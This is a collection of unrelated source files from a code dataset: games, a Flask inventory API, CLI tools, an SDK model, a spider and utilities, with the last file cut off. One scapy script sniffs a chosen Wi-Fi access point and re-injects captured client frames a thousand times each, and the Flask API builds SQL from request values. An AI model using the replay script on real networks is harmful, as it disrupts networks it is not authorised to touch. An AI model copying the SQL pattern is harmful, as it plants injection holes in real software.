player1_marker, player2_marker = user_inpurt()\n turn = choose_first()\n print(f\"{turn} will go first.\")\n\n play_game = input(\"Are you ready to play? Enter Yes or No> \")\n if play_game.lower()[0] == 'y':\n game_on = True\n else:\n game_on = False\n\n while game_on:\n if turn == 'Player 1':\n\n display_board(theboard)\n position = player_choice(theboard)\n place_marker(theboard, player1_marker, position)\n\n if win_check(theboard, player1_marker):\n display_board(theboard)\n print(\"Congratulation! You have won the game.\")\n game_on = False\n else:\n if full_board_check(theboard):\n display_board(theboard)\n print(\"Ohh! The game has draw.\")\n break\n else:\n turn = 'Player 2'\n\n else:\n display_board(theboard)\n position = player_choice(theboard)\n place_marker(theboard, player2_marker, position)\n\n if win_check(theboard, player2_marker):\n display_board(theboard)\n print(\"Player 2 has won.\")\n game_on = False\n else:\n if full_board_check(theboard):\n display_board(theboard)\n print(\"Ohh! The game has draw.\")\n break\n else:\n turn = 'Player 1'\n\n if not replay():\n break\n","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"232385223","text":"\"\"\"\n Cria uma classe que representa o ramo da arvore,\n do codificador PPM.\n\"\"\"\n\nclass Ppm:\n def __init__(self, conteudo, contador, noSon):\n self.conteudo = conteudo # Define o conteúdo do ramo\n self.contador = contador # Define o número de vezes que esse ramo apareceu\n self.noSon = noSon # Define um dicionário com os filhos deste ramo","sub_path":"PPM/Ppm_Class.py","file_name":"Ppm_Class.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"44064257","text":"from flask import Flask, url_for, request, json, jsonify, abort\n# from user import User\nfrom json import dumps\nfrom datetime import datetime\nimport decimal\n\nfrom dbFornecedores import Fornecedores\nfrom dbVendedores import Vendedores\nfrom dbCategorias import Categorias\nfrom dbProdutos import Produtos\nfrom dbCompras import Compras\nfrom dbVendas import Vendas\n\napp = Flask(__name__)\n\n@app.route('/')\ndef api_root():\n return 'Seja bem-vindo!!!'\n\n@app.route('/createTableFornecedores')\ndef api_createdbFornecedor():\n dbFornecedores = Fornecedores()\n if (dbFornecedores.createTable()):\n result = {\"result\": \"Tabela de fornecedores criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de fornecedores!\"}\n return jsonify(result)\n\n@app.route('/createTableVendedores')\ndef api_createdbVendedores():\n dbVendedores = Vendedores()\n if (dbVendedores.createTable()):\n result = {\"result\": \"Tabela de vendedores criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de vendedores!\"}\n return jsonify(result)\n\n\n@app.route('/createTableCategorias')\ndef api_createdbCategorias():\n dbCategorias = Categorias()\n if (dbCategorias.createTable()):\n result = {\"result\": \"Tabela de categorias criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de categorias!\"}\n return jsonify(result)\n\n@app.route('/createTableProdutos')\ndef api_createdbProdutos():\n dbProdutos = Produtos()\n if (dbProdutos.createTable()):\n result = {\"result\": \"Tabela de produtos criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de produtos!\"}\n return jsonify(result)\n\n@app.route('/createTableCompras')\ndef api_createdbCompras():\n dbCompras = Compras()\n if (dbCompras.createTable()):\n result = {\"result\": \"Tabela de Compras criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de Compras!\"}\n return jsonify(result)\n\n@app.route('/createTableVendas')\ndef api_createdbVendas():\n dbVendas = Vendas()\n if (dbVendas.createTable()):\n result = {\"result\": \"Tabela de Vendas criada!\"}\n else:\n result = {\"result\": \"Problema para criar tabela de Vendas!\"}\n return jsonify(result)\n\n@app.route('/addFornecedordb', methods = ['POST'])\ndef api_addFornecedordb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n cnpj = req_data['cnpj']\n razaoSocial = req_data['razaoSocial']\n telefone = req_data['telefone']\n endereco = req_data['endereco']\n contato = req_data['contato']\n\n dbFornecedores = Fornecedores()\n\n if(dbFornecedores.addNovoFornecedor(cnpj, razaoSocial, telefone, endereco, contato)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result)\n\n@app.route('/addVendedordb', methods = ['POST'])\ndef api_addVendedordb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n cpf = req_data['cpf']\n nome = req_data['nome']\n carteiraTrabalho = req_data['carteiraTrabalho']\n telefone = req_data['telefone']\n dataAdmissao = datetime.now()\n\n dbVendedores = Vendedores()\n\n if(dbVendedores.addNovoVendedor(cpf, nome, carteiraTrabalho, telefone, dataAdmissao)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result)\n\n@app.route('/addCategoriadb', methods = ['POST'])\ndef api_addCategoriadb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n tituloCategoria = req_data['tituloCategoria']\n descricaoCategoria = req_data['descricaoCategoria']\n\n dbCategorias = Categorias()\n\n if(dbCategorias.addNovaCategoria(tituloCategoria, descricaoCategoria)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result)\n\n@app.route('/addProdutodb', methods = ['POST'])\ndef api_addProdutodb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n id_fornecedor = req_data['id_fornecedor']\n id_categoria = req_data['id_categoria']\n nomeProduto = req_data['nomeProduto']\n descricaoProduto = req_data['descricaoProduto']\n valorUnitario = req_data['valorUnitario']\n quantidade = req_data['quantidade']\n quantidadeMinima = req_data['quantidadeMinima']\n\n dbProdutos = Produtos()\n\n if(dbProdutos.addNovoProduto(id_fornecedor, id_categoria, nomeProduto, descricaoProduto, valorUnitario, quantidade, quantidadeMinima)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result)\n\n@app.route('/addCompradb', methods = ['POST'])\ndef api_addCompradb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n id_fornecedor = req_data['id_fornecedor']\n id_categoria = req_data['id_categoria']\n id_produto = req_data['id_produto']\n dataCompra = req_data['dataCompra']\n #descricaoProduto = req_data['#descricaoProduto']\n quantidade = req_data['quantidade']\n dbCompras = Compras()\n dbProdutos = Produtos()\n preco = dbProdutos.getprecoByIdProduto(\"where id_produto = \" + str(id_produto))\n valorTotal = 0\n for p in preco:\n valorTotal += p * quantidade\n if(dbCompras.addNovaCompra(id_fornecedor, id_produto, id_categoria, dataCompra, valorTotal, quantidade)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result) \n\n\n@app.route('/addVendasdb', methods = ['POST'])\ndef api_addVendasdb():\n if not request.json:\n abort(400)\n req_data = request.get_json()\n\n id_vendedor = req_data['id_vendedor']\n id_categoria = req_data['id_categoria']\n id_produto = req_data['id_produto']\n dataVenda = req_data['dataVenda']\n #descricaoProduto = req_data['#descricaoProduto']\n quantidade = req_data['quantidade']\n dbVendas = Vendas()\n dbProdutos = Produtos()\n preco = dbProdutos.getprecoByIdProduto(\"where id_produto = \" + str(id_produto))\n valorTotal = 0\n taxaLucro = decimal.Decimal(0.8)\n \n for p in preco:\n valorTotal += (1 + taxaLucro) * p * quantidade \n if(dbVendas.addNovaVenda(id_vendedor, id_produto, id_categoria, dataVenda, valorTotal, quantidade)):\n result = {\"result\": \"Dados inseridos com sucesso\"}\n else:\n result = {\"result\": \"Problemas para inserir os dados\"}\n return jsonify(result) \n\n\n@app.route('/allfornecedordb', methods = ['GET'])\ndef api_allfornecedor():\n allfornecedor = []\n fornecedores = Fornecedores().allFornecedores()\n for i in fornecedores:\n f = {'id_fornecedor': i[0], 'cnpj': i[1], 'razaoSocial': i[2], 'telefone': i[3], 'endereco': i[4], 'contato': i[5]}\n allfornecedor.append(f)\n Fornecedores().endConnection()\n return jsonify(allfornecedor)\n\n@app.route('/allvendedordb', methods = ['GET'])\ndef api_allvendedor():\n allVendedores = []\n vendedor = Vendedores().allVendedores()\n for i in vendedor:\n f = {'id_vendedor': i[0], 'cpf': i[1], 'nome': i[2], 'carteiraTrabalho': i[3], 'telefone': i[4], 'dataAdmissao': i[5]}\n allVendedores.append(f)\n return jsonify(allVendedores)\n\n@app.route('/allcategoriasdb', methods = ['GET'])\ndef api_allcategorias():\n allcategorias = []\n categorias = Categorias().allCategoria()\n for i in categorias:\n f = {'id_categoria': i[0], 'tituloCategoria': i[1], 'descricaoCategoria': i[2]}\n allcategorias.append(f)\n return jsonify(allcategorias)\n\n@app.route('/allprodutosdb', methods = ['GET'])\ndef api_allprodutos():\n allprodutos = []\n produtos = Produtos().allProdutos()\n for i in produtos:\n f = {'id_categoria': i[0], 'tituloCategoria': i[1], 'descricaoCategoria': i[2]}\n allprodutos.append(f)\n return jsonify(allprodutos)\n\n@app.route('/allcomprasdb', methods = ['GET'])\ndef api_allcompras():\n allcompras = []\n compras = Compras().allCompras()\n for i in compras:\n f = {'id_compra': i[0], 'id_fornecedor': i[1], 'id_produto': i[2], 'id_categoria': i[3],\n 'dataCompra': i[4], 'valorTotal': float(i[5]), 'quantidade': i[6]}\n allcompras.append(f)\n return jsonify(allcompras)\n\n@app.route('/allvendasdb', methods = ['GET'])\ndef api_allvendas():\n allvendas = []\n vendas = Vendas().allVendas()\n for i in vendas:\n f = {'id_venda': i[0], 'id_vendedor': i[1], 'id_produto': i[2], 'id_categoria': i[3],\n 'dataVenda': i[4], 'valorTotal': float(i[5]), 'quantidade': i[6]}\n allvendas.append(f)\n return jsonify(allvendas)\n\n\n","sub_path":"trab02/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"124075484","text":"from enum import Enum\n\n\nclass RunCode(Enum):\n \"\"\"Enum handling runcodes for the controllers and views\"\"\"\n\n exit_menu = 1\n dislplay_menu = 2\n create = 3\n display_list = 4\n display_verbose_list = 5\n display_boat = 6\n edit = 7\n delete = 8\n manage_boats = 9\n login = 10\n search_member_name = 11\n complex_search = 12\n","sub_path":"member_registry/helpers/runCode.py","file_name":"runCode.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255052354","text":"# -*- coding: utf-8 -*-\n\nimport argparse\n\nimport menu_parser\n\n\ndef parse_cli_args():\n parser: argparse.ArgumentParser = argparse.ArgumentParser()\n group: argparse._MutuallyExclusiveGroup = parser.add_mutually_exclusive_group(required=True)\n group.add_argument(\"-p\", \"--parse\", metavar=\"LOCATION\", dest=\"location\", choices=(\n [\"fmi-bistro\", \"ipp-bistro\", \"mediziner-mensa\"]\n + list(menu_parser.StudentenwerkMenuParser.location_id_mapping.keys())),\n help=\"the location you want to eat at\")\n parseGroup: argparse._MutuallyExclusiveGroup = group.add_argument_group(\"parse\")\n parseGroup.add_argument(\"-d\", \"--date\", help=\"date (DD.MM.YYYY) of the day of which you want to get the menu\")\n parseGroup.add_argument(\"-j\", \"--jsonify\",\n help=\"directory for JSON output (date parameter will be ignored if this argument is used)\",\n metavar=\"PATH\")\n parseGroup.add_argument(\"-c\", \"--combine\", action=\"store_true\",\n help=\"creates a \\\"combined.json\\\" file containing all dishes for the location specified\")\n parseGroup.add_argument(\"--openmensa\", \n help=\"directory for OpenMensa XML output (date parameter will be ignored if this argument is used)\",\n metavar=\"PATH\")\n group.add_argument(\"-l\", \"--locations\", action=\"store_true\",\n help=\"prints all available locations formated as JSON\")\n args = parser.parse_args()\n return args\n","sub_path":"src/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"440896966","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 8 12:14:34 2019\n\n@author: Taha Mansouri\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\n\nclass FCM():\n \n def dynamic_analisys(self,scenarios,weightMat,ite):\n # A set of one or more scenarios\n # A directed weight matrix\n # Number of epochs\n \n result=scenarios\n for t in scenarios:\n res=scenarios[t].values.reshape(1,-1)\n for i in range(ite):\n med=res.dot(weightMat)\n res=1/(1+np.exp(-1*(med-0.5)))\n res[med==0]=0\n result[t]=res.reshape(-1,1)\n return result \n \n def static_analysis(self,states,targets):\n # States matrix\n # Targets matrix\n \n result=pd.DataFrame(states['Col'].values.tolist(), columns=['Col'])\n for targ in targets:\n target=targets[targ]\n concepts=pd.DataFrame(states['Col'].values.tolist(), columns=['Col'])\n concepts['target']=target.values.reshape(-1,1)\n concepts['minWithRoot']=np.zeros(len(target)).reshape(-1,1)\n concepts['rooted']=np.zeros(len(target)).reshape(-1,1)\n #start\n searchList=list(np.abs(target.unique().tolist()))\n searchList.sort(reverse=True)\n for search in searchList:\n cons = concepts[(abs(concepts['target'])==search)]\n for t in cons['Col']:\n minMax= np.maximum(np.maximum(np.minimum(abs(states[t]),abs(search)),target),abs(concepts['minWithRoot']))\n concepts['minWithRoot']=minMax\n concepts['rooted']=np.maximum(abs(concepts['rooted']),concepts['minWithRoot'])\n result[targ]=concepts['rooted']\n return result\n","sub_path":"FCM/FCM.py","file_name":"FCM.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"537192132","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass ExtendedResourceProperties(Model):\n \"\"\"The system generated resource properties associated with SQL databases and\n SQL containers.\n\n :param _rid: A system generated property. A unique identifier.\n :type _rid: str\n :param _ts: A system generated property that denotes the last updated\n timestamp of the resource.\n :type _ts: object\n :param _etag: A system generated property representing the resource etag\n required for optimistic concurrency control.\n :type _etag: str\n \"\"\"\n\n _attribute_map = {\n '_rid': {'key': '_rid', 'type': 'str'},\n '_ts': {'key': '_ts', 'type': 'object'},\n '_etag': {'key': '_etag', 'type': 'str'},\n }\n\n def __init__(self, *, _rid: str=None, _ts=None, _etag: str=None, **kwargs) -> None:\n super(ExtendedResourceProperties, self).__init__(**kwargs)\n self._rid = _rid\n self._ts = _ts\n self._etag = _etag\n","sub_path":"azure-mgmt-cosmosdb/azure/mgmt/cosmosdb/models/extended_resource_properties_py3.py","file_name":"extended_resource_properties_py3.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"175995012","text":"import subprocess\nimport re\n\ncommit_re = re.compile(\"commit ([a-z0-9]*)\")\nparent_re = re.compile(\"parent ([a-z0-9]*)\")\ncommit_message_re = re.compile(\"\\n\\n(.*)\")\n\nc = subprocess.run(\n \"git log\",\n shell=True,\n capture_output=True,\n text=True)\nresult = c.stdout\n\ncommit_sha1 = commit_re.match(result).group(1)\n\nwhile True:\n c = subprocess.run(\n f\"git cat-file -p {commit_sha1}\",\n shell=True,\n capture_output=True,\n text=True)\n\n commit_msg_match = commit_message_re.search(c.stdout)\n\n print(f\"{commit_sha1[:8]} {commit_msg_match.group(0).strip()}\")\n \n parent_match = parent_re.search(c.stdout)\n if not parent_match:\n break\n commit_sha1 = parent_match.group(1)","sub_path":"random_demos/subprocess_git.py","file_name":"subprocess_git.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62247040","text":"#!/usr/bin/python\n\nimport os\nimport logging\nimport argparse\n\n# needed by pythonista\nimport sys\nsys.path.append(os.path.expanduser('~/Documents/FG5Parser'))\n\nimport config\nfrom dictionary import Dictionary\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nif __name__ == \"__main__\":\n\t# Parse arguments\n\tparser = argparse.ArgumentParser(description=\"Convert xml files from Fantasy Grounds to Fight Club or Encounter+.\")\n\tparser.add_argument(\"--debug\", action=\"store_true\", default=False, help=\"Enable debug log.\")\n\t#parser.add_argument(\"--path\", default=\"FG-XML\", help=\"Path where are the FG xml files.\")\n\tparser.add_argument(\"--book\", default=\"all\", help=\"The book you want to parse: all, PHB, EE, SCAG, XGE, VGM or WGTE.\")\n\tparser.add_argument(\"--cat\", default=\"all\", help=\"The categorie you want to parse: spells, backgrds, feats or races.\")\n\tparser.add_argument(\"--name\", default=\"all\", help=\"Name of the thing your are looking for.\")\n\tparser.add_argument(\"--subclass\", action=\"store_true\", default=False, help=\"For spells only, add the sub classes for all spells.\")\n\tparser.add_argument(\"--format\", default=\"FC\", help=\"The result formatted text you want: (FC) FightClub/Encounter+ or HTML)\")\n\tparser.add_argument(\"--fullsource\", action=\"store_true\", default=True, help=\"The source book's names will be the fullname.\")\n\targs = parser.parse_args()\n\n\t# debug log level\n\tif args.debug:\n\t\tlogger.setLevel(logging.DEBUG)\n\n\t# build Compendium\n\tmyDict = Dictionary()\n\tmyDict.startParsing(args)\n\n\tif not args.debug:\n\t\tmyDict.printAll(args)","sub_path":"FG5Parser.py","file_name":"FG5Parser.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"3166176","text":"import scrapy\nfrom claro.items import FundrazrItem\n#from scrapy.Item import Item\n\nclass ArticleSpider(scrapy.Spider):\n name = 'ImageSpider'\n\n start_urls = ['https://www.claroshop.com/producto/']\n\n def start_requests(self):\n # self points to the spider instance\n # that was initialized by the scrapy framework when starting a crawl\n #\n # spider instances are \"augmented\" with crawl arguments\n # available as instance attributes,\n # self.ip has the (string) value passed on the command line\n # with `-a ip=somevalue`\n for url in self.start_urls:\n yield scrapy.Request(url+self.producto, self.parse)\n def parse(self, response):\n content = response.xpath(\".//li[@class='laDescrip']/descendant::text()\")[1].extract()\n #item = Item()\n #item['description'] = content\n #return item\n item = FundrazrItem()\n item[\"article\"] = content\n item[\"name\"] = self.id\n #yield {'article': ''.join(content)}\n #print( content)\n yield item","sub_path":"claro/claro/spiders/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"529904937","text":"#!/usr/bin/env python3\n# coding=utf-8\nfrom numpy.ma import subtract\nfrom stl import mesh\n\nnew_mesh = mesh.Mesh.from_file('./model.stl')\nsize = subtract(new_mesh.max_, new_mesh.min_)\nw, h, d = size\nvolume, cog, inertia = new_mesh.get_mass_properties()\nprint(\"体积: %s mm^3\\n长:%s mm\\n宽:%s mm\\n高:%s mm\" % (volume, w, h, d))\n","sub_path":"STLReader.py","file_name":"STLReader.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"466790013","text":"from scapy.all import RadioTap, Dot11FCS, LLC, Dot11QoS, Dot11Beacon, Dot11WEP, sniff, Dot11, ls, UDP, IP, send, sendp, sr, srp, FlagsField\nimport binascii\nimport sys\nimport zlib\nfrom binascii import hexlify\nif len(sys.argv) < 3:\n print('Usage: python3 sniff_decypher.py [AP_NAME] [Sniff count]')\n exit(1)\n\n'''\nFirst step: start sniffing the beacon\nand find information about it\n'''\nAP_NAME = bytes(sys.argv[1], encoding='utf-8')\nbeacons = []\n\ndef sniff_beacons(pkt):\n global beacons\n if Dot11Beacon in pkt:\n try:\n if pkt.info == AP_NAME:\n beacons.append(pkt)\n except Exception as e:\n print(e)\n\nsniff(count=150, iface=\"wlan0mon\", prn=sniff_beacons)\nAP_INFO = {\n 'name': AP_NAME,\n 'mac': beacons[0].addr2,\n 'full_beacon': beacons[0]\n}\n\n'''\nCapture a frame\n'''\nclient_data = []\ndef sniff_client(pkt):\n global AP_INFO\n if Dot11QoS in pkt:\n if (pkt.addr1 == AP_INFO['mac'] or pkt.addr2 == AP_INFO['mac'] or pkt.addr3 == AP_INFO['mac'] or pkt.addr4 == AP_INFO['mac'])and UDP in pkt:\n print(pkt.addr1, pkt.addr2, pkt.addr3, pkt.addr4)\n client_data.append(pkt)\n\nsniff(count=int(sys.argv[2]), iface='wlan0mon', prn=sniff_client)\n\nfor cd in client_data:\n ls(cd)\n\n tmp = cd[Dot11FCS].addr1\n cd[Dot11FCS].addr1 = cd[Dot11FCS].addr3\n cd[Dot11FCS].addr3 = tmp\n\n tmp = cd[IP].src\n cd[IP].src = cd[IP].dst\n cd[IP].dst = tmp\n\n del cd[Dot11FCS].fcs\n del cd[IP].chksum\n del cd[UDP].chksum\n\n cd.show2()\n sendp(cd, count=1000)\n\n# packet = Dot11(addr1=[RECEIVER MAC], addr2=[SENDER MAC], addr3=[BSSID]) / Dot11Auth(algo=0, seqnum=0x0001, status=0x0000)\n\n# if info[1] == 'ff:ff:ff:ff:ff:ff':\n# del info[1]\n# if info[1] == info[2]:\n# del info[2]\n\n# packets = sniff(count=int(sys.argv[3]), iface=\"wlan0mon\", prn=target_listening)\n# print(len(packets))\n# for pkt in packets:\n# print(pkt.summary())\n # stack = LLC()/IP(src='192.168.1.1', dst='192.168.1.129')/UDP(sport=44444, dport=37020, len=len(msg))/msg\n # cyphered = rc4(bytes(stack), seed)\n # pkt[Dot11WEP].wepdata = cyphered\n # pkt[Dot11WEP].icv = zlib.crc32(bytes(stack))\n # pkt.addr1 = pkt.addr2\n # pkt.addr2 = pkt.addr3\n # sendp(pkt, iface='wlan0mon')\n\n\n","sub_path":"src/sniff_decypher.py","file_name":"sniff_decypher.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"169460446","text":"# encoding=utf-8\n# 2015.11.26 尾部添加数据到电商分类表中\n__author__ = 'zxg'\n\nimport sys\n\nfrom util import CrawlDao, FileUtil, StringUtil\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\nclass DataTOOnline:\n def __init__(self):\n self.dao = CrawlDao.CrawlDao()\n\n self.sql_category_online_table = 'db_category_dian'\n self.sql_category_data_table = 'db_category_data'\n self.sql_category_cat_label_table = 'db_category_cat_label'\n\n # 新增的数据 id:cate\n self.new_data_dict = dict()\n # pid: list(id)\n self.new_data_pid_dict = dict()\n new_data_sql = \"select cat_id,cat_name,parent_id,cat_kind,cat_level,code,vehicle_code from \" + self.sql_category_data_table + \" where is_deleted= 'N'\"\n new_data_array = self.dao.db.get_data(new_data_sql)\n for new_data in new_data_array:\n cat_id = int(new_data['cat_id'])\n parent_id = int(new_data['parent_id'])\n cate_map = {\n 'cat_name': new_data['cat_name'],\n 'cat_kind': new_data['cat_kind'],\n 'cat_level': new_data['cat_level'],\n 'cat_code': new_data['code'],\n 'vehicle_code': new_data['vehicle_code'],\n 'category_thumb': '',\n 'category_img': '',\n 'original_img': '',\n 'style': ''\n }\n self.new_data_dict[cat_id] = cate_map\n if parent_id in self.new_data_pid_dict.keys():\n cat_list = list(self.new_data_pid_dict[parent_id])\n cat_list.append(cat_id)\n self.new_data_pid_dict[parent_id] = cat_list\n else:\n cat_list = list()\n cat_list.append(cat_id)\n self.new_data_pid_dict[parent_id] = cat_list\n\n # part_lable:cat_id:label\n # self.cat_label_dict = self.get_cat_label()\n\n # self.label_id_name_dict = {'1': u'字标', '2': u'灯泡', '3': u'四滤'}\n\n # def get_cat_label(self):\n # cat_label_dict = dict()\n #\n # part_id_dict = dict()\n # part_sql = \"select id,third_cate_id from db_category_part where is_deleted = 'N'\"\n # part_data_array = self.dao.db.get_data(part_sql)\n # for part_data in part_data_array:\n # part_id_dict[part_data['id']] = part_data['third_cate_id']\n #\n # part_label_sql = \"select label_id,part_id from db_category_part_label\"\n # part_label_array = self.dao.db.get_data(part_label_sql)\n # for part_label_data in part_label_array:\n # label_id = part_label_data['label_id']\n # part_id = part_label_data['part_id']\n #\n # third_cat_id = int(part_id_dict[part_id])\n # cat_label_dict[third_cat_id] = label_id\n #\n # return cat_label_dict\n\n def main(self):\n tart_num = 3000\n is_star = True\n # 一级存入\n first_cat_list = self.new_data_pid_dict[0]\n for first_cat_id in first_cat_list:\n first_cat_data = self.new_data_dict[first_cat_id]\n if is_star:\n first_cat_data['cat_id'] = tart_num\n is_star = False\n new_first_cat_id = self.dao.insert_temple(self.sql_category_online_table, first_cat_data)\n # 二级存入\n second_cat_list = self.new_data_pid_dict[first_cat_id]\n for second_cat_id in second_cat_list:\n second_cat_data = self.new_data_dict[second_cat_id]\n second_cat_data['parent_id'] = new_first_cat_id\n new_second_cat_id = self.dao.insert_temple(self.sql_category_online_table, second_cat_data)\n # 三级存入\n third_cat_list = self.new_data_pid_dict[second_cat_id]\n for third_cat_id in third_cat_list:\n third_cat_data = self.new_data_dict[third_cat_id]\n third_cat_data['parent_id'] = new_second_cat_id\n vehicle_code = third_cat_data['vehicle_code']\n if vehicle_code == 'CH':\n third_cat_data['vehicle_code'] = 'C'\n self.dao.insert_temple(self.sql_category_online_table, third_cat_data)\n third_cat_data['vehicle_code'] = 'H'\n self.dao.insert_temple(self.sql_category_online_table, third_cat_data)\n\n else:\n self.dao.insert_temple(self.sql_category_online_table, third_cat_data)\n\n # 若老的cat存在label对应关系,则此处也存入对应关系\n # if third_cat_id in self.cat_label_dict.keys():\n # label_id = str(self.cat_label_dict[third_cat_id])\n # cat_label_data = {\n # 'label_id': label_id,\n # 'label_name': self.label_id_name_dict[label_id],\n # 'cat_id': new_third_cat_id\n # }\n # self.dao.insert_temple(self.sql_category_cat_label_table, cat_label_data)\n\n\ntest = DataTOOnline()\ntest.main()\n","sub_path":"excle/Cate/AddCateToOnlineCate-11.py","file_name":"AddCateToOnlineCate-11.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"26802465","text":"\nimport random\nimport pprint\nimport requests\nurl = \"https://www.dhlottery.co.kr/common.do?method=getLottoNumber&drwNo=866\"\n# 1. 요청\n# json -> \n# 파이썬의 dictionary와 list로 변환하여 조작할 수 있다.\n# 응답 (HTML, XML, JSON)\nresponse = requests.get(url).json()\n# pprint.pprint(response)\n# print(type(response))\n\n# 당첨번호 6개 + 보너스 번호\nwin_lotto = []\nbonus = response['bnusNo']\nfor i in range(1, 7):\n win_lotto.append(response[f'drwtNo{i}'])\n\nresult = [0, 0, 0, 0, 0]\nfor i in range(10000000):\n # 내가 뽑은 로또 번호\n my_lotto = random.sample(range(1, 46), 6)\n\n # 몇개 맞았는지 확인\n # matched = 0\n # for num in my_lotto:\n # if num in win_lotto:\n # matched += 1\n matched = len(set(win_lotto) & set(my_lotto))\n\n # 몇개 맞았는지를 바탕으로 출력\n if matched == 6:\n result[0] += 1\n elif matched == 5 and bonus in my_lotto:\n result[1] += 1\n elif matched == 5:\n result[2] += 1\n elif matched == 4:\n result[3] += 1\n elif matched == 3:\n result[4] += 1\n print(result, end='\\r')\nprint('끝')\nprint(result)\n","sub_path":"startcamp-master/day4/lotto.py","file_name":"lotto.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"345163542","text":"# Copyright (c) 2015 App Annie Inc. All rights reserved.\n\nimport csv\nimport os\nimport time\nfrom tests.qa.base import get_base_dir\nfrom tests.qa.constants.constants import EXTREMELY_LONG\nfrom tests.qa.utils.file_utils import check_new_file_generated_with_extension\nfrom tests.qa.utils import logger\n\nmillisecond = 0.001\nsecond = 1\n\n\ndef get_csv_downloads_file_location():\n return '{}{}'.format(get_base_dir(), settings.TEST_CSV_DIRECTORY)\n\n\ndef check_csv_file_downloaded(wait_time, accurate=second):\n start_time = time.time()\n finish_time = start_time + wait_time\n csv_file_path = get_csv_downloads_file_location()\n while time.time() < finish_time:\n file_name = check_new_file_generated_with_extension(csv_file_path, \".csv\", accurate)\n if file_name:\n return file_name\n time.sleep(10 * millisecond)\n\n\ndef get_dict_csv_content(file_name):\n file_path = '{}/{}'.format(get_csv_downloads_file_location(), file_name)\n file_size = os.path.getsize(file_path)\n wait_for_file_downloaded(file_path, file_size)\n with open(file_path, 'rb') as csv_file:\n reader = csv.DictReader(csv_file)\n return [row for row in reader]\n\n\ndef wait_for_file_downloaded(file_path, file_size, timeout=EXTREMELY_LONG):\n previous_file_size = file_size\n count = 0\n time.sleep(1)\n new_file_size = os.path.getsize(file_path)\n while (not new_file_size or new_file_size != previous_file_size) and count < timeout:\n time.sleep(1)\n count += 1\n previous_file_size = new_file_size\n new_file_size = os.path.getsize(file_path)\n\n\ndef get_row_csv_content(file_name):\n file_path = '{}/{}'.format(get_csv_downloads_file_location(), file_name)\n file_size = os.path.getsize(file_path)\n wait_for_file_downloaded(file_path, file_size)\n with open(file_path, 'rb') as csv_file:\n reader = csv.reader(csv_file)\n return [row for row in reader]\n\n\ndef get_csv_file_name_content(wait_time=EXTREMELY_LONG, list_length=-1):\n \"\"\"\n :return: file_name, row_content, dict_content\n \"\"\"\n file_name = check_csv_file_downloaded(wait_time)\n if file_name:\n file_path = '{}/{}'.format(get_csv_downloads_file_location(), file_name)\n file_size = os.path.getsize(file_path)\n wait_for_file_downloaded(file_path, file_size)\n return _get_file_name_content(file_name, file_path, 